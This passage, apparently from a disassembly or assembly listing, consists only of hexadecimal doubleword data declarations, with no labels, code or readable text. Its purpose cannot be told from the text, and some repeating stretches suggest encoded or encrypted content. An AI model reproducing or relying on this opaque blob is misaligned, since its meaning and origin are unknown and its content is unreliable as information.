7C572DEEh, 6E60E364h, 6A8DF962h, 569EF82h dd 0FFF0F630h, 9406ED9Ah, 71A1D994h, 94D2A4Dh, 0BB581E60h dd 0B3921370h, 0A2AE902Ah, 0E085D043h, 15B833B5h, 81C72B1h dd 4D79F9DCh, 0BBE1824Ah, 0FD0EF851h, 77F2E6DBh, 61199B23h dd 0EFE59A1h, 1684AE30h, 8E0B6E84h, 1E45A7D0h, 66825990h dd 86898196h, 6DC4882Ch, 7D8EB90Dh, 9EA5818h, 5D8608A7h dd 0EE738D1Ch, 760465DCh, 3AB5A728h, 245B24F9h, 7324D827h dd 6AAD8658h, 0C77CC82h, 9AFD3636h, 900639F4h, 60A7CF90h dd 4F1A3C5Ah, 0B7574C61h, 0EE912924h, 0C1D4B359h, 0EBA5D14Fh dd 196924B3h, 4ED368FEh, 772EE58Bh, 8792AD78h, 0F9339634h dd 73F2E4CAh, 4D08EF28h, 26E528F5h, 8AC0A670h, 252857C4h dd 68658CF4h, 27D403DAh, 0E9F48DD4h, 6BFF9F57h, 6D8CB901h dd 48EF166Bh, 37F647F7h, 875CF3A1h, 6F050185h, 4EA3AD22h dd 504676EAh, 6164E96Fh, 598D8661h, 635F0CA4h, 87F15155h dd 9014F0ECh, 60B6CFAEh, 24A306Bh, 0FA0E5A66h, 0F3A21D67h dd 0A4BAF961h, 0D72BB448h, 192B35B3h, 422763F2h, 3E17FE8Ah dd 0B880ED51h, 0F114E51Eh, 4CFEE6CAh, 5C39BB47h, 37E228F8h dd 95CAA97Ah, 0C24F7387h, 5A03A688h, 2AC71DD8h, 868EC685h dd 7AD9BF5Ch, 66AEB317h, 4AE859DFh, 428F4F27h, 0A93DDB4Fh dd 197D4DF8h, 4EBFB21Fh, 6A5D5AE0h, 7462F669h, 2997852Dh dd 1B77008Ch, 92FAAB21h, 0FF5937B4h, 6DC8FEFAh, 87D376Bh dd 0B9555069h, 0B3ED5A70h, 0C1F4B42Ah, 0E77FDF5Bh, 17F223BEh dd 489726ABh, 5F6DEF97h, 0F4CBA223h, 0E001E11Eh, 4FFFFADBh dd 294D812Ah, 0FDF915E0h, 5384A07Ah, 7176A8Ch, 1500F2D4h dd 4EA85F9Dh, 0AC8AC285h, 60DF8A23h, 6E82B83Bh, 48FA17ABh dd 16CF137Ah, 0A9789B88h, 6E4962DCh, 72A5B62Ah, 3E5572EBh dd 7264D827h, 6CCD3573h, 67071CDh, 0D5F0EE20h, 8756FCF8h dd 75CFD99Fh, 3592C4Dh, 0BFA25F27h, 0F4B90024h, 0A09AE96Ah dd 0E00ED240h, 7DD4DF7h, 4E1072F0h, 6E24E59Dh, 0A284FB03h dd 0CD03FF48h, 4BFEE098h, 3A1FDA39h, 0BEA318E4h, 4C5B014h dd 84036F80h, 4945BCD7h, 2FD602D0h, 0EA809CD1h, 66C7822Dh dd 9E7F1C7h, 4AF95686h, 1FC900BBh, 0E2249555h, 6D040FBFh dd 73AAA82Ah, 771276E1h, 6977D162h, 27802966h, 1E1828C3h dd 9DF43634h, 0CF1176FEh, 67DDD8DAh, 0E40374Bh, 0A9E85969h dd 0EEBD1561h, 0E067E870h, 84419002h, 146926A1h, 419C62F9h dd 2730AAC3h, 0B795FA42h, 0AC6AB85Ah, 5EF2E5E7h, 2132897Eh dd 0A7FE12F6h, 0EFC9B04Bh, 191007BDh, 550CF2D6h, 21D651D0h dd 0CFEBA087h, 76CAC411h, 7C9FB0C7h, 4CE617BFh, 56884AEAh dd 0E805B2E5h, 780014B0h, 579AA339h, 6B4076E6h, 7467D474h dd 67C72B59h, 1A6FAD89h, 87E24109h, 8117FCE8h, 67CBCFACh dd 3B5E3756h, 0DBAA4B55h, 0E9850073h, 0EE69F46Dh, 0CC8BD158h dd 58100B9Dh, 4A0773F0h, 722DFF8Bh, 0FA98ED48h, 0A06AB810h dd 27F79292h, 3D6DDF2Ch, 0A3D93ACEh, 0ACE19555h, 99046EAFh dd 5D0AF5D1h, 27F52DDDh, 0FBCF8D35h, 57E5CB0Fh, 7B989CDFh dd 5DE35243h, 0BD40105h, 0DB38DD06h, 7D190681h, 1AB5AF24h dd 776729A3h, 6E68C162h, 5AAE186Ch, 3E4CA4A2h, 0A9D29014h dd 871A70D7h, 72D1D995h, 0E61044Bh, 0ACAF5A69h, 0C9AA5277h dd 0BC4BD958h, 0F0E5DB5Eh, 4EF2280h, 799D69F8h, 3D2DE3AEh dd 0B88EEF4Ch, 0C514C53Eh, 30EEE6CAh, 0F902C91Dh, 67E01DF2h dd 43DD941Bh, 370A6295h, 4917F3FEh, 0DD61FCEh, 0FED48730h dd 66F8871Bh, 66AE83E7h, 46FF437Fh, 1DF2387Fh, 0E93FDE9Dh dd 4A5702B7h, 7FB0A82Eh, 606571FDh, 64731774h, 9CA6B75h dd 3B7FE7BFh, 0DDF3E330h, 9658A3B3h, 6098C49Bh, 6512A1Fh dd 0BEB71E63h, 0EED9527Dh, 0AB7C9A0Eh, 0E58EEC4Bh, 4DF46FB2h dd 451674B1h, 3966AA9Dh, 0DC98EA03h, 0DE40E55Bh, 78F6FDCAh dd 0A64DC868h, 3EA40FA5h, 17C1951Bh, 8F0662B3h, 1B5FAF94h dd 20C701C2h, 0A9808D36h, 78ABE11Fh, 3DAE99DBh, 1DC97335h dd 499326FEh, 0B6679E2Ah, 205A2E92h, 37FE9D73h, 420B15CAh dd 38457632h, 3A97393Ch, 0C5CA290h, 9CE42126h, 9A116DEAh dd 7DF8AA94h, 666284Ch, 0B6B9707Eh, 0F2B87261h, 9D32FB67h dd 0E1BFCD55h, 145247BBh, 509063FBh, 3A2EEBB7h, 0D893CD23h dd 0D323E451h, 3FE9E6D6h, 0CA3EBB21h, 54F90EE1h, 0D5D4BE4Fh dd 0A0A4EE0h, 5A35E3DCh, 1DA219DBh, 0C9F4BA0Eh, 76E8B729h dd 6788AD81h, 47E27425h, 14C917E7h, 0DB22D5BCh, 6F050985h dd 69A3BD22h, 766225D3h, 64682D68h, 678E4F60h, 6903688h dd 86B66927h, 870EFAFFh, 34C4DE93h, 0E7C2850h, 0FBA75068h dd 0BD7E1D62h, 0BA3DE377h, 0E60BD349h, 18342AB2h, 510775F8h dd 2C2CFE98h, 8CC1A650h, 0C309FE6Ah, 1AFEE198h, 0CB0ED23Bh dd 1AEC1FA0h, 84CBA93Bh, 0CB0265C0h, 4B0AF2C9h, 60C614D1h dd 0FEC59A4Bh, 66C882EAh, 6E88ADE3h, 4CF943D8h, 72C20021h dd 0F438C76Fh, 397A6BA5h, 3AE6F06Bh, 241219AFh, 20217327h dd 298E0C25h, 49C742CDh, 0F896CF75h, 865B70BFh, 7ADDC99Fh dd 0B2E2B5Bh, 0FBA45862h, 950C5224h, 9D7EB40Ch, 0A731C85Eh dd 2F426A1h, 39468F8h, 2E63E3DCh, 0C08EEB46h, 9A4EE55Ah dd 339B9896h, 0B12ECD3Fh, 0FCD911EDh, 54C5A268h, 40327C5h dd 3B6FE3D7h, 74F423F0h, 0F9C89A6Fh, 6DC29FE0h, 6689FFB4h dd 6DAD5EE6h, 78AC295Fh, 0BD00E3BCh, 5E273FF6h, 5F829319h dd 771701AFh, 53016139h, 29948A57h, 20AB52A4h, 0F59CD606h dd 0CF2CCBC9h, 51EAE8DAh, 355F5835h, 9ACC0451h, 0EF3C3947h dd 0AD0BF061h, 0A70FDB58h, 56AE179Fh, 4E1A67F7h, 5C49EE9Ch dd 9AB7DA70h, 323D71Eh, 12FEE099h, 0AB19D82Eh, 0E4C45CE8h dd 23A4CD71h, 0CB5D565Dh, 5F0BE3ABh, 6EC51C0Ch, 0E9CA8CB1h dd 67CE9CEFh, 7ABD9003h, 40EC5AD1h, 72C217BFh, 0D4768B6Fh dd 394D1F84h, 7EAB7138h, 2455DFE6h, 65680675h, 6DC5B866h dd 1AB36BCDh, 0A7CA425Fh, 0B7AA23CCh, 7CB0E1B9h, 13A6365Eh dd 0B00B5F6Fh, 0BA731C6Dh, 0A0F7FB62h, 8341DA49h, 474B1585h dd 59B047B1h, 5522E2D9h, 389FB47h, 0A209FD5Ch, 239B98D1h dd 0DE57ED1Bh, 0B0E31DE0h, 0DBC5AF79h, 4B006E77h, 570CE761h dd 448C1642h, 0DAF2BD47h, 6AD9C9BEh, 2CCDE443h, 7A8D32B8h dd 589C2CC1h, 0E338EF87h, 7216C0A5h, 34A23822h, 4371BA1h dd 3A552954h, 67CD9F25h, 1D8CA783h, 0D5C66C3Ch, 9AF4F8FCh dd 1E5FCE9Fh, 36D20B3Fh dd 0B7871E3Dh, 0F8491C6Ah, 0ADE0F370h, 85859002h, 530F14D6h dd 242826ABh, 7366B08Ah, 49E1827Eh, 2F10B646h, 0D3BBE6C5h dd 0E430D273h, 84E8188Ah, 9CD2AA20h, 0DC096126h, 560AE538h dd 3AD713F9h, 0E5D28153h, 23CF8346h, 2ACD8A4Ah, 72AD5314h dd 72FB0D76h, 0E923F46Fh, 7E19EEB8h, 3AB6AD6Bh, 2D4EACA7h dd 0D2ADD29h, 2981EC0Fh, 1CC7E2CFh, 81CCA625h, 0F68739FFh dd 6715D997h, 0F025847h, 0B7CC5070h, 0FCC11665h, 0F1D1EE24h dd 0FAAE820Ch, 649D4DE8h, 0F98075E2h, 4807DAADh, 53C1CD69h dd 245ADA11h, 3EE8B7B3h, 7109BB6Dh, 7BE11222h, 54C1A3ACh dd 18425BB5h, 1648A948h, 3D874CC5h, 0E8A0D832h, 6FCA695Bh dd 6C89AB7Ch, 48EB3A75h, 1CC3D27Ah, 0A20D27D5h, 3450DBA5h dd 3FE3B466h, 43380FCh, 6E7BE463h, 6DF2F369h, 49AAEC84h dd 0A81EA70Eh, 0C809B4BAh, 1A148FDAh, 0D025835h, 0F4D25B77h dd 0BE950121h, 3BA4B42Ah, 20EBDC5Ah, 0BBB833BFh, 370763FCh dd 5D2DEF8Bh, 31C9E44Dh, 7145B67Dh, 76D2928Dh, 601FDE03h dd 44C20850h, 598CA9E8h, 8242212Fh, 4808881Eh, 20D50199h dd 0E8C1B95Fh, 23A46449h, 55D7F963h, 6DC33326h, 24F5A89Ch dd 0F324FE1Ch, 2B42E8B3h, 69AFFB17h, 7C40AFFCh, 368362h dd 67EAFB5Ah, 36F290DEh, 865F2C22h, 0A8C96AC5h, 613BAAA5h dd 6E493656h, 0AECF6158h, 0FBEB0177h, 7481F760h, 1D8AF02Dh dd 0D85017FCh, 899674B2h, 8330EF8Fh, 73C4AB18h, 6C40BB65h dd 2AEFE0ECh, 5748E05Fh, 1A8D7678h, 0E08993ECh, 0D475119h dd 4945EFE4h, 2BD71E9Ah, 0AF80A044h, 2E847B01h, 386CD53h dd 4AE83851h, 11D176F6h, 0C977A381h, 495F5097h, 7CE0DE06h dd 7607E1F8h, 656DEA62h, 2ADBC876h, 47922BC8h, 87CC087Bh dd 9894EDFFh, 698AC199h, 1C36784Bh, 8BE41353h, 0F3AA5254h dd 76BCBA60h, 2B4ECB5Ch, 8D7E67A5h, 995D28FBh, 13308AF0h dd 7288EC57h, 512EB62Ch, 65CBBFCBh, 590B9B57h, 11FF5C71h dd 83C1B33Ch, 0CE4421E0h, 154BA57Bh, 21D068FBh, 0FEC5AE5Eh dd 39D4677Ch, 7AC8F163h, 678D51ECh, 288A6B12h, 0F5775422h dd 7C07F2B3h, 391FF438h, 2901F0AAh, 6269E327h, 2990C569h dd 49B632A4h, 0A99FE70Eh, 0B6691990h, 540A87AEh, 3B0C786Fh dd 0B7D54B76h, 0A5E75270h, 3BD3BA6Dh, 2801D542h, 2DFE22A3h dd 199A70FAh, 0B40DAA9Ah, 53B1A56Eh, 7112B619h, 53FEE7EAh dd 7B4E9B7Bh, 0BAA3526Ch, 55D7C666h, 80872A7h, 4F15E5FAh dd 1AE327D3h, 0DCED8802h, 72C17874h, 7D9EF726h, 40AB88B1h dd 7289713Dh, 0E93236EFh, 7E1D6BB2h, 4E7FCC6Bh, 546ECDA2h dd 7285D927h, 7D9F3970h, 0B921CDh, 0FEA2AC7Bh, 9103FD9Ah dd 6CB7DF9Bh, 2B1D3F1Fh, 0B32D4962h, 9987523Eh, 3E4C777h dd 563BEB64h, 1B96781h, 401C65E0h, 543AF898h, 6590ED49h dd 814E52Ah, 2F2B7B4h, 6006D437h, 0D7B17FFFh, 2D0A863h dd 0B9326E7Ch, 765B45Ch, 3CC719DAh, 0E9C3B755h, 70980672h dd 609BF7C6h, 29B0DE92h, 42C90EA6h, 0E23CE61Ch, 3400E0BBh dd 6A53F43Eh, 635FFEA2h, 7181D03Dh, 6C872573h, 202D75D7h dd 9BEC121Ch, 93C377F4h, 7637C38Eh, 11726905h, 98266E52h dd 0CBBD1624h, 6D68F567h, 7A6BC75Fh, 6A6836B4h, 0D5D372E0h dd 0D379E3D9h, 3285E956h, 249A565h, 3091BCBDh, 1F0ED473h dd 0BAE21691h, 9598E616h, 6B6D3C21h, 5535D8D6h, 27C64BA7h dd 0FACFBF54h, 23DD7021h, 7C9CE8C1h, 9FAF8B4h, 42CEB9B0h dd 0E335A0CFh, 304E28F6h, 1012A865h, 547ADC8Fh, 67C8EB69h dd 66BF0F6Ch, 170EA79Bh, 852A7075h, 849AFCEFh, 72FC89DAh dd 38127805h, 0FF6C1E63h, 9AC25C2Dh, 1F629A0Eh, 71DFDF4Eh dd 665D29BEh, 0E51D56C6h, 12AEEDCh, 7197E756h, 5240EF21h dd 2DEEE40Ah, 4D4DCF54h, 0D4B716F0h, 0D0C0A7AEh, 0C54E32BAh dd 3B6FA330h, 2BCA079Ah, 0A1D3A3B6h, 73CA4E09h, 6E9F1AAEh dd 5BEBE80Bh, 1DC4D525h, 0C9155555h, 763FDF9Fh, 795EF625h dd 6A46C0FBh, 4AEC823Dh, 59BA3C50h, 1D2586CDh, 9119AD36h dd 820960E8h, 7E2BDB9Fh, 79562C4Ch, 0E1605722h, 0D8875229h dd 1155F961h, 0C6A5D943h, 0BD9D4DFEh, 1C9665F9h, 962DE389h dd 46B4C116h, 4040C63Fh, 2FF8E602h, 0E71FDE59h, 65E80DE4h dd 44D7A3E6h, 24221F1h, 314BA2B3h, 3AC716EBh, 0E7C3AFACh dd 23D04A1Bh, 67BD28DAh, 40EACB41h, 0EC8BF60h, 0A72D318Ah dd 6C0C6BA4h, 3A4EE92Eh, 2A4288ACh, 3FA6529h, 4C9F3148h dd 261FD0ACh, 0BC2FA875h, 0DF38CDCEh, 17EE84CBh, 281B1035h dd 807C0473h, 9ED24B37h, 5200AF31h, 0CAC58B18h, 0DEE777E5h dd 394336A5h, 4A17D9F5h, 8691FD17h, 5712AC26h, 3DFFE106h dd 0EB0ED25Dh, 55C075C1h, 5284FCEDh, 9B037182h, 480CE8E6h dd 2BD4090Eh, 86ADE3A1h, 239E6021h, 4E774D0h, 4CFDF37Bh dd 16CE89BDh, 0D21C8308h, 392D2386h, 794A752Fh, 764FD7E0h dd 6680637Eh, 7AA57974h, 4B078299h, 0DA306C3Ch, 93F01990h dd 34F8C493h, 54C07611h, 0C7315674h, 98F47825h, 5E70A337h dd 0F2E58B18h, 0CC3372E5h, 5CF336A9h, 1F13DEABh, 2785EC76h dd 4E40E636h, 35EEE402h, 0E54DCF44h, 71B70C91h, 909E9BDAh dd 0E036C73h, 5240AC21h, 448C48C1h, 0D8F48ED7h, 67E51634h dd 798C2897h, 58EB8971h, 0CD498E6h, 0F470DBCFh, 4414A9ECh dd 7F4BBE71h, 727CC0ECh, 23CE3F62h, 27EA5520h, 262B48C3h dd 0D47E5601h, 0BCCFFDDBh, 687DDA9Bh, 313D295Ah, 906E4A74h dd 927F575Fh, 4613F321h, 0CB219003h, 0DA0E0880h, 0D30023BCh dd 0AE17DEB6h, 0DDCFB91Fh, 7F289C59h, 48A1C136h, 8B57C816h dd 378772D5h, 0B5F088ECh, 0A74A577Eh, 6F22C21Fh, 6B825D29h dd 0CFAACAA2h, 46F07AD3h, 5DC0358Dh, 13CB9CE8h, 0CD7973h dd 0EA2DCF1Bh, 7A5DF0BAh, 694A7123h, 2629CDEAh, 2E902772h dd 3350E3Dh, 3E722DBEh, 0BD6A8114h, 0D1F157D5h, 7460DFD8h dd 3DAD2B05h, 0C2315362h, 0C8740729h, 2611B774h, 0B678844Ah dd 0FDF431A2h, 92A43CF9h, 0FE13C3B0h, 0B8FE65Fh, 5B09E236h dd 43AAAF0Dh, 8E09DF7Eh, 0D9F90DCBh, 59D4B133h, 66456401h dd 3B6F8293h, 1F24AAEh, 0A980909Ch, 57EC12E7h, 38C23D87h dd 2383E5BFh, 2CFB525Bh, 0F470E1D5h, 14172FECh, 5477D141h dd 5059F8DBh, 4DBD272Ah, 33748842h, 635227CDh, 0B981C15Fh dd 0A5A4DCCEh, 4D8AFED7h, 216C627Ah, 99184662h, 9F701F7Ch dd 3106F924h, 0AF0ECD5Fh, 0DAA865EDh, 904B2BFAh, 331080F3h dd 0A3A0D870h, 862FDF0Eh, 0DB9B55Ah, 0BD57D54Fh, 0D9E817C3h dd 589B23Bh, 0C6176D0Fh, 102FDD7h, 38D002D6h, 0B6C5A62Ah dd 4AEA72DBh, 67822C73h, 5DEDB59Fh, 42C645BAh, 0E314125Eh dd 6B1139B2h, 6A59993Fh, 637858FFh, 0EF36E25h, 7A02CC0Fh dd 186967D7h, 87BE2E30h, 89F014FFh, 6EDEC697h, 773F2B05h dd 0C79C4A6Fh, 0D63B5D3Eh, 33FBF267h, 0DF65CD4Ch, 0DA6E2BBDh dd 0CDDD76FDh, 286CED8Ch, 8D91E95Eh, 2916F83Fh, 15EBFA0Dh dd 0F4609914h, 0BAE845DFh, 0D9C0AE21h, 1F3464E0h, 600E39Eh dd 3AD60845h, 0A38FFFB7h, 66CC53F7h, 279E085Eh, 5AE2B1A9h dd 56D853FCh, 0A8326C80h, 691F27A5h, 79597364h, 6A7FD1E0h dd 3DD85460h, 7A0CF608h, 0A6C80D7h, 0FDD43C2Ch, 0B037ECA6h dd 72C1CE9Eh, 378D2C4Dh dd 0D90D4E77h, 0DA267F63h, 2FE0F669h, 8196CB17h, 873335A5h dd 0F41B65EFh, 1730EB93h, 148FF844h, 0A712F976h, 0FAFEE644h dd 8B0ED24Eh, 0BACC2894h, 9FE7910Fh, 88026DE8h, 550AE682h dd 70805103h, 0C29CCFB6h, 66F64659h, 6C99076Eh, 5DFDB179h dd 36870A6Dh, 0E207610Ah, 7C0AC8BBh, 6E442703h, 381B04B1h dd 468C9649h, 7B54987Dh, 3E6D8383h, 0C991B03Ah, 0DE2970BFh dd 58F1CFB4h, 24C32C47h, 0E74C5F69h, 9DD0006Bh, 13829009h dd 0DFDBC948h, 22F233BFh, 0DDCD6AF2h, 67FDAA3h, 1696ED83h dd 0EB14F911h, 3EF7FA2Dh, 5051B1D4h, 7AC4080Ch, 5ED6A4B1h dd 43760E4h, 1E5BE587h, 8D6052h, 0E2E9BADAh, 6DD64440h dd 66BD2472h, 24B06A63h, 1DE68A19h, 0E63C5298h, 7D1DCAB4h dd 350F7B75h, 416E68C1h, 6FA9EA69h, 42FF860h, 0B8FBEE7h dd 850AD222h, 8275D4EEh, 78E9C38Ah, 31D73D7Bh, 0CB4C5775h dd 6DD21D6Dh, 0D9C0F352h, 4D98C95Dh, 0B4BE2280h, 0F1076FECh dd 4D0DA5DEh, 2A8ED8BEh, 0E801DB1Fh, 7FF5FC2Eh, 6D1EDEBDh dd 40FD165Bh, 4ECAAF2Ch, 0A55B0788h, 5E29E491h, 0AC72B5Ch dd 0F8C147C6h, 3DCA3E45h, 47C21453h, 4CC22914h, 3CCC44B2h dd 0F332651Ah, 2714CABFh, 35134646h, 60403BFAh, 71B4D363h dd 7910C171h, 9EFCB9Dh, 0CAEE4F6Bh, 0B12E6AB5h, 0DFFDCE95h dd 61865233h, 0C97D047Ah, 2CD8176Eh, 9DE0FF0Dh, 2DFB8E30h dd 14554639h, 0ECD3560Bh, 7820F90Dh, 2393EAB3h, 0ED05EA53h dd 64E8EC5Bh, 4D48E8B9h, 9E44BD3h, 0D5D6C0FFh, 1D0EABE7h dd 1B5F7196h, 60933D1Ah, 0CBA63799h, 26801561h, 5DAD2800h dd 1890CE05h, 728486BDh, 0D3C35BA7h, 6AE184ECh, 14426B71h dd 454A4485h, 2AFFCB42h, 461FFD49h, 5A0703B8h, 7801226Fh dd 361A9396h, 37D1E2FDh, 23DC786Dh, 0D95B5D78h, 53B50079h dd 88BFFF07h, 0D65FCD77h, 0B3781D32h, 0DA1A2322h, 1C6DA5C8h dd 2895E6C1h, 0BF4FA00Bh, 539BA33Eh, 172CCE8Fh, 4CBFAEEBh dd 0C09CC068h, 0AD53A2B5h, 349A1C5h, 63FA6501h, 0CD9511EEh dd 46E5371Fh, 3CCCD907h, 70FCDFCCh, 35AF6300h, 0F5A45733h dd 6C28C6A4h, 6C492F08h, 5B9D76FDh, 68E7E762h, 73C7DE60h dd 5373078Eh, 4385AA06h, 1E567DFEh, 9609CF9Eh, 34DF0860h dd 0E355536Ch, 3FB70075h, 0B88CF32Bh, 0C067DE95h, 29F12922h dd 0D4AF7CBAh, 712DEA1Ch, 0E85FFBCh, 0FD06F3F1h, 61C7E462h dd 3105E82Ch, 0F1F6E71Bh, 40D4E2A0h, 0A0721EFh, 550B7085h dd 27F31040h, 0DBAA59DCh, 6CBC0F3Dh, 47D2BB24h, 47286BF4h dd 2BEADC61h, 8A6B768Ah, 38B9D6BFh, 69512718h, 0A9C7EE6h dd 7AB1813Dh, 7EF03D6Bh, 3FFA6688h, 350AE31Dh, 0D577F1E8h dd 55B9099h, 349C3C52h, 0F5BF4C6Ah, 3BFC1C7Bh, 37C7F340h dd 20AF7F3h, 0A1B535C9h, 0A64960F1h, 3427ED88h, 3B82EDA9h dd 8040FAEEh, 32B2EC3Bh, 200CDC79h, 0D5E4CD4Dh, 509E272Fh dd 9D076CF1h, 5E5BB2D8h, 3CD13A47h, 0FED815A9h, 71BBE523h dd 21BCC8C6h, 4C6F65D8h, 584A40B2h, 9D257C1Ch, 726781ECh dd 78706C6Bh, 258834AFh, 58CBA30Dh, 9971E71h, 15A90A9Bh dd 13863275h, 0B6627CF0h, 0D9589098h, 8D827D4Ah, 0D4C83468h dd 6686067Dh, 3336EC02h, 42229FC1h, 2E7127CBh, 0EF8025DFh dd 6722E2CBh, 7284F120h, 8509BABBh, 5BCB87E4h, 1008C36Dh dd 0BDA9818Dh, 958448EDh, 1206CAEBh, 3108B88Bh, 6ECAE137h dd 0A9896ECEh, 54D68B37h, 6695E5DAh, 1A50F4B2h, 111BCCBDh dd 91C87B81h, 6165CCB7h, 17B5222Eh, 6380428Fh, 5E08D454h dd 57FC4D25h, 0BD2EABCDh, 0C066B20h, 0BC7CE3F4h, 0CA79A0DEh dd 3AFD082Ah, 0A9C47320h, 1C854078h, 133CABB8h, 0DE9B9A6Ch dd 0AE7865E5h, 0BF1A265Eh, 6166E94Bh, 5492BED1h, 5F60B09Bh dd 485BA601h, 246C2C39h, 0B9C51CBh, 0F058E2BBh, 0A05ACB82h dd 0C46F1F9Ah, 4E4EBFD6h, 0C2DE0A5Bh, 0FCE0B119h, 8FD947Ch dd 0B5F8DF31h, 881C3435h, 4262ED90h, 0CCDEAFBFh, 15075822h dd 0C1D129CFh, 57844CF8h, 0DC326C05h, 0F010E29Eh, 0F1F7C220h dd 0AB0919EDh, 0FF6EAA80h, 0D4A6585Ah, 16D03E11h, 41F47238h dd 382E9BECh, 0CE9BBF34h, 0D88D45F7h, 0E7E30306h, 63538043h dd 24F19BDEh, 4470B150h, 0D2B458BDh, 277C2EAAh, 969C551Bh dd 0B2B715B8h, 0E94AA4F2h, 596F418Eh, 9DA0FC58h, 0EECFF22Ch dd 61E1A107h, 6A104BE0h, 5AF41F62h, 0E504B460h, 0FD9A139Ch dd 6DB8AEA2h, 87435A38h, 0AD492DFCh, 0C45B4B74h, 2E021C76h dd 0D2D0829Fh, 19778220h, 0B80899EDh, 0DD6FAA80h, 60A4585Ah dd 6ECC3E11h, 41EC7239h, 283E9BEBh, 0FEFBBF37h, 55CD45F4h dd 16630305h, 82538041h, 4AF19BDAh, 2A70B158h, 3AB458ADh dd 0EC7C2E8Ah, 569C555Bh, 12B71438h, 894AA5F2h, 596F438Fh dd 2CA0F85Eh, 0EECFFA20h, 61E1D11Fh, 6A102B90h, 4AF45F02h dd 150535A0h, 989B131Ch, 7DBAADA5h, 775F5C38h, 5D5121FCh dd 244B4374h, 0DE620C76h, 2290A29Fh, 0E8F64220h, 490819EDh dd 336CAA80h, 8C9A585Ah, 86C83E11h, 0A1E47239h, 0F84E9BEBh dd 4EDBBF37h, 240D45F4h, 16E30304h, 7D538047h, 58F19BD6h dd 2E70B140h, 0AAB458DDh, 0DC7C2EEAh, 369C549Bh, 5DB714B8h dd 94AA6F3h, 826F4588h, 88A0F45Ch, 4ACFE224h, 0BAE1C117h dd 6A100B80h, 0BAF59F22h, 0DB05B5E0h, 9898109Ch, 7DA4ACA5h dd 775B5E38h, 5D5925FCh, 853B5B74h, 6F423C76h, 925F429Fh dd 59760220h, 0C70B99EDh, 806DAA80h, 3998585Ah, 3FC43E11h dd 201C7239h, 295E9BEBh, 3C3BBF37h, 154D45F5h, 50630303h dd 0CD538045h, 0FFF19BD2h, 0D270B148h, 0AB458CDh, 0CC7C2ECAh dd 69C54DBh, 92B71738h, 894AA7F3h, 596F4789h, 2CA0F052h dd 0EECFEA38h, 61E1F1EFh, 6A11EBB0h, 4AF5D8C2h, 0E8063520h dd 0DA99101Ch, 2F9586FDh, 1447504Bh, 3D31398Fh, 523B5307h dd 0B5B22C05h, 510F62ECh, 85E6C253h, 7D1B199Eh, 2F06C699h dd 0A58E5865h, 9A99702Dh, 0AC47726Eh, 8E2BD4D6h, 0AF0BBF60h dd 0B99D4586h, 830CFC8Eh, 1D438038h, 2EE19BBDh, 0B460B143h dd 60A4588Eh, 0DE6C2F59h, 948C5468h, 30A717CAh, 6B5AA09Fh dd 3B7F49F9h, 4EB0EC23h, 8CDFD24Fh, 3F1E194h, 801CBD3h dd 28E51891h, 7716B513h, 0FAF611EFh, 1FB0AAD6h, 0EA43524Bh dd 3FC6C270h, 1B0B6B07h, 0BD82DC8Ch, 41CF02ECh, 85668253h dd 618999Eh, 4773BAF3h, 0F28C4829h, 0CCEC2E62h, 0A31C624Ah dd 0A6EAB99h, 5F6B8F45h, 0D6DD5581h, 92731372h, 0C43903Ah dd 30E18BB9h, 5860A14Bh, 68A4489Fh, 0DE6C3F07h, 0A48C4414h dd 60A70672h, 6B5AE1AFh, 0BB7FCB18h, 0CEB068E5h, 0CDF5AC3h dd 83F28E8Ch, 88011523h, 0A8E624F1h, 0F717C2D3h, 0F9F7026Fh dd 1CB28AD6h, 17BF974Bh, 3C21B28Fh, 551C6007h, 3DF44C05h dd 0C18BA2ECh, 4E9C253h, 1D2A999Eh, 5350A0F3h, 0D4425229h dd 0CC683462h, 88147A4Ah, 109E9398h, 234BB745h, 451D4D81h dd 7AF30B73h, 0F343883Dh, 0EAE193BAh, 0C460B948h, 78A4509Ch dd 7E6C2705h, 548CD410h, 30A7967Ah, 6D5A21BEh, 3D7F4D47h dd 48B0EEA7h, 88DFDD47h, 7F20B84h, 0C019333h, 2CE6A4D1h dd 73174E93h, 0FEF76AEFh, 1BB2ECD6h, 10BFD24Bh, 3B20318Fh dd 521D7F07h, 3DF6F805h, 0C19742ECh, 94F18253h, 173D999Eh dd 5931AAF3h, 0DE005829h dd 0C5E43E62h, 812C724Ah, 68E9B98h, 37ABBF45h, 555D4581h dd 61730373h, 0DA43803Dh, 0A4E19BBAh, 4060B148h, 88A4589Dh dd 0EE6C2F02h, 0F48C5412h, 0F0A7167Eh, 0EB5AA1B6h, 3B7F4B56h dd 4EB0E979h, 8CDFDB3Bh, 3F20C3Ch, 8019603h, 28E6A231h dd 77174E53h, 0FAF7666Fh, 1FB2C7D6h, 14BE084Bh, 3F20898Fh dd 561EF307h, 0BDF7EC05h, 4195E2ECh, 84FDC253h, 1745199Eh dd 5926AAF3h, 0DFE65829h, 0C5A03E62h, 0BEA4724Ah, 7BE9B98h dd 318BBF45h, 599D4581h, 59F30373h, 0C943803Dh, 86E19BBAh dd 460B148h, 0A4589Dh, 1E6C2F03h, 148C541Dh, 30A7167Dh dd 6B5AA1B5h, 3B7F4B55h, 4EB0E97Bh, 8CDFDB3Fh, 3F20C34h dd 8019613h, 28E6A211h, 77174E13h, 0FAF767EFh, 1FB2C6D6h dd 14BE0A4Bh, 3F208D8Fh, 561E8B07h, 0BDF79C05h, 419582ECh dd 84FD8253h, 0C044999Eh, 5E37AA63h, 0D8F458BDh, 0C2AC3EF6h dd 69AC72DEh, 0D0BE9B08h, 0E6FBBFD5h, 8ECD4511h, 5F6303E3h dd 945380A9h, 53F19B37h, 0CF70B1C5h, 0CFB4580Dh, 0D97C2F93h dd 339C548Dh, 0BBB716E9h, 0EC4AA138h, 3C6F4BC0h, 49A0E9E9h dd 8BCFDBA7h, 9AE20CB8h, 6B1196F2h, 0F9F6A2FEh, 70074F41h dd 0FDE767FBh, 30A2C542h, 13AE0CD8h, 5C30811Bh, 510E8388h dd 0BAE78C91h, 2285A278h, 0ACEC42DCh, 7B286CF0h, 7924AADAh dd 0FFDA7809h, 0E5981E42h, 9E94526Ah, 27FEBBB8h, 11EB9F65h dd 783D65A1h, 78D32353h, 0B763A01Dh, 0AAD1AB8Ah, 2C508178h dd 209468ADh, 0E5C1F33h, 64BC642Dh, 8097264Dh, 5B6A9184h dd 0B4F7B63h, 4EB0E97Fh, 8CDFDB37h, 2F20C24h, 0A019673h dd 28E6A251h, 76F74F93h, 0F917660Fh, 1A52C036h, 135E08ABh dd 36C08D6Fh, 5DFE91E7h, 0B017B0E5h, 4E744C0Ch, 951C12B3h dd 4A78B7Eh, 4CC5BE13h, 